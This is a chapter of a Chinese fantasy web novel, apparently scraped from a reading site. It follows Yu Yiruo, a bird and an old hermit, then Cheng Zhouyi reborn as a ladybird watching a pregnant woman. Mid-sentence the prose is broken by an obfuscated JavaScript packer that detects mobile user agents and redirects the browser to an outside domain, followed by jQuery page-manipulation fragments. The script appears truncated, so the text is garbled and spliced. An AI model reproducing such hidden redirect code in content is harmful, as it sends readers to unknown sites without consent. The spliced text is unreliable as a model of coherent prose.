96. 昆虫

作品:《失手伤害反派后

    “世道往复,是与不是又有什么重要的呢?”老人家指着大鸟笑道:“你这只胖小鸟,越发厚重了。”


    大鸟知道他是什么意思,“你个臭老头,又明里暗里说我胖,怎么这么坏,我大鸟胖点不是可爱吗?”它又蹦到老头的面前,用爪子玩弄了两下他的酒葫芦,气势汹汹地说道:“难道不可爱吗?难不成像余以若这样瘦得只剩骨头就好看?”


    “肥鸟!你说什么呢!”被点到的余以若脑子一嗡,她就要去揪大鸟,大鸟就捂着脑袋哭号,“我大鸟没说什么,什么都没说,就算你只剩骨头也好看,好看的……哇啊啊啊啊啊……别动我毛,余以若!你干什么,别拔我毛……”


    老头看着她们打闹,摇着脑袋笑了笑,“还是一样啊,这么多年都没变。青阳那家伙也是够精明的,把你们两放在一起,可有得闹腾的。”


    “什么没变?”打得不可开交的一人一鸟回过头来问道。


    老头一愣,掩饰性地摸了摸胡子,大鸟和余以若哪能放过他,火速围拢上来,活似严刑逼供,“老头你在说什么?”


    “能有什么?”老头目光闪烁,“什么都没有。”


    “真的?”大鸟一只眼睛半眯,一只眼睛瞪得老大,怼在老头的眼皮子底下,差点把他逗笑。老头拿出一把蒲扇悠哉游哉地扇起来,“自然是真的。”


    “诶,小老头。”大鸟一屁股坐在他边上。


    “你这胖小鸟,怎么还是没大没小的。”老头面上看着有些愠怒,实际上心里早就乐开了花,忽而又瞥到了余以若手上的金线,他眯着眼睛笑道:“你这线应该有进展了吧。”


    “先别提什么进不进展的了。老头,我大鸟告诉你一件非常要紧的事情,虽然我不知道你是不是他,但是我感觉像你这样隐居世外的高人,超级厉害的仙人,百分之百是有绝世武功和秘诀的,而且像您这样清心寡欲的,指不定功法修炼到了什么时候,所以您这样孤高的仙人,我想着应该也是有慈悲心肠的……”


    “行了行了行了,有话快说,有脾快放。”老头满不耐烦。


    “哦,其实是她的剑坏了,我想着你能不能帮忙修一下。”大鸟边说边比划,“其实也没有坏到太严重的地步,就是一点点坏而已。”


    “一点点,我看看。”老人眯着眼睛满是不在乎。


    余以若直言道:“刚刚被您弄成了灰。”


    “灰?”老人再一次发问,“什么灰?”


    大鸟脸上不太好看,“你自己一捏就成了灰,老头,你要是忘记了,我大鸟要跟你拼命的!你这个老头说得轻巧,要是那剑出了问题,我大鸟也没有活路的……”


    眼看大鸟就要哭起来,老人火速坐起,一把把大鸟揽了过来,“胖小鸟,还是这么爱哭,可小点声,别吵着别人的清净,好容易最近才安静下来的。”


    大鸟大嘴一张,老人预判到了什么,立马掏出个东西塞到了大鸟嘴巴里,大鸟嚼了嚼,不舍地咽下,天真地咕哝道:“这是什么,还挺好吃的。”说着说着,大鸟两眼一黑,咚地倒在了老人怀里。


    “老人家,您这是?”余以若伸出手把大鸟接回来,“它这是怎么了?”


    “让它休息休息。”老人神秘兮兮地说道。


    “看您和大鸟这么熟悉的样子,难道您真的是他?”余以若问道:“如果真的是他的话,能否将我的青羽剑还给我,它对我很重要,是我师父松给我的,如果没了它,我只怕也活不到见我师父的时候了。”


    “你怕什么?”老人捡起酒葫芦,牵起袖口擦了擦大鸟的爪印,一面示意余以若跟自己走,一面说道:“你怕有人会因为这个取你性命。”


    余以若看到他的视线一直在她的手腕上的金线逗留,一会儿又看向她的头顶,她知道是在看红发带,她摸不着头脑,但实诚地点头。


    老人笑了笑,回过头去背着手大步往前走,“如果我是你,我直接捅上天都没人敢说个不字,你担心有人取你性命,我倒是担心有人会因为你不要了命。”


    “这是什么意思?”余以若不太明白,她跟上老人的脚步,问道:“你是说我没有青羽剑性命也是无虞的,但是不管对我的性命如何,但我现在是灵力俱损的,我还想要飞升……”


    “飞升就一定好吗?”


    老人的声音突然变得有些冷,余以若点头,“这是我师父对我寄予的厚望,我无论如何也不想辜负了他们。”


    “那你自己呢?”“也是我自己的意愿。”余以若不知道他这话里还带着别的话,但她还是本能地说了出来,是的这不仅是师父对她的厚望也是她自己的目标。


    “那好,甚好!不愧是青阳的眼光,我就知道他没选错。”老人哈哈大笑起来。余以若却觉出他笑声里的凄凉,尤其是他看向自己的目光,不是欣慰,倒像是在看着完美的献祭品。


    “既然如此,那我老头送你一程。”老人突然在一方池塘边上停下,他目光凌凌,看着池塘里的游鱼有片刻的失神,他把余以若叫过去,嘱咐道:“下去吧,有人在等你。”


    “好,多谢老人家。”余以若抱着大鸟就要踩下去,突然她又转头,老人愣住,但听她问道:“那您呢,不跟我们一起走吗?”


    老人摇头,“不了,你们去吧,快些去,有人在外面等你。”


    余以若还想问什么,老人连连摆手,“快去吧,快去,你想要的答案都在外面。”


    余以若总觉这话有些耳熟,来不及细想,她的肩头就被一道力往下一推,池面离自己的脸越来越近,堪堪就要把她的全身给灌满。倏尔眼前一花,一道熟悉的嗓音传来,欠欠的,带着点调侃的意味,却藏不住言语里的担忧,“余小仙子几天不见,变得这么弱,怎么连这么点幻境都破不了?枉我还对你抱着点希望。”


    ……


    绵密的雨丝如针般把天地缝作一块,淅淅沥沥的雨把世界都蒙上了层白雾,朦朦胧胧的瞧不仔细,万事万物仿佛都融作了一块,包括程舟怡。她睁开眼的时候就发现自己是一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101919|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只长着翅膀的七星瓢虫。


    她漫无目的地乱飞乱跑,只因她也不知道自己来了个什么地方,四周全然是陌生的环境,陌生的人,以及听不懂的方言。


    她就这么飞了休息,休息完再飞,她感到自己作为人的本能越来越少,作为昆虫的习性越来越多,她甚至害怕自己会完完全全,彻彻底底地变成无知无觉的虫子,她费尽心思地让自己清醒。


    方法就不乏胡乱地把捶自己的脑袋,保持着认字写字的习惯。直到某一天她终于被人发现,对方穿得很素净,朝她走来时她还以为遇上了九天上的仙女,美成这样,就算看不仔细也知道对方的姿颜定然不输素来享有美名的芷念师姐。


    “这个姑娘,生得人模人样的,没想到干这种事,啧,真是够晦气的,我们离她远点,可别让她带坏了我们的孩子。”


    “就是就是,先是克死了自己的丈夫,又和不三不四的男人怀上,这女的,还真不是个好东西。要不是她,我丈夫哪能三天两头往她家门口跑,简直就是个妖精。”


    程舟怡一路上听见那些长舌妇的议论,连带着还有些更恶毒的话,程舟怡只觉得只是没那么多肮脏的话可以讲,要不然她们定然会把那些话倾注全力都灌到姑娘的耳朵里。她是不知道这个姑娘听不听得懂,也许是因为她起初听不懂,但磨得久了,也听得懂一些字眼,遂她会本能地担心这位姑娘能不能听懂。


    不过她希望这位姑娘还是听不懂的好,因为这些话太伤人,太脏。


    像这样素雅的女子就应该高居山巅,任何人都不能把她拽下来。


    相处得越久,程舟怡就发现这位女子果真是不食人间烟火的仙女,她不仅炒个菜能把锅炸掉,洗个碗又能摔一跤,好在她肚子里的孩子没什么问题,依旧安安稳稳的汲取着这位姑娘的每一份活力。


    大着肚子的姑娘时不时会有些老汉敲门,她孤身一人又是位弱女子,沦落到这种地方十分之危险,程舟怡不知道她是怎么应对他们的,只知道她的脸上时常挂着微笑,还有她房间的一角放着一把剑。


    剑应该是上好的玄铁打造,通体漆黑,一看就知道是上等的灵器宝剑,程舟怡只看得见这把剑的剑鞘,里面是什么样,她不知道。姑娘从未用过这把剑,即使是有壮汉拿着屠刀威胁,把门撞出一个又一个窟窿,姑娘也只是拿着破烂不堪的棍子,拦在门口,把他们给呵退的。


    剑就这样一直落在角落里,一直在角落里落灰,好像不存在般。渐渐地覆上了层薄薄的尘埃,就要彻底和灰蒙蒙的天地融为一块时,摇摇欲坠的木门被人从外面破开了。


    一道刺眼的光射了进来,程舟怡还看到背光站立的鹤览川。


    她本能地喊道:“师兄!师兄!”然而对方没有一丝一毫的动摇,程舟怡才反应过来自己是只虫子,发出的不是人的声音而是虫子的叫嚷。


    更让她感到不可思议的是压抑着怒火的鹤览川走上前,一字一句质问着那位姑娘,“念念,你打算躲到什么时候。”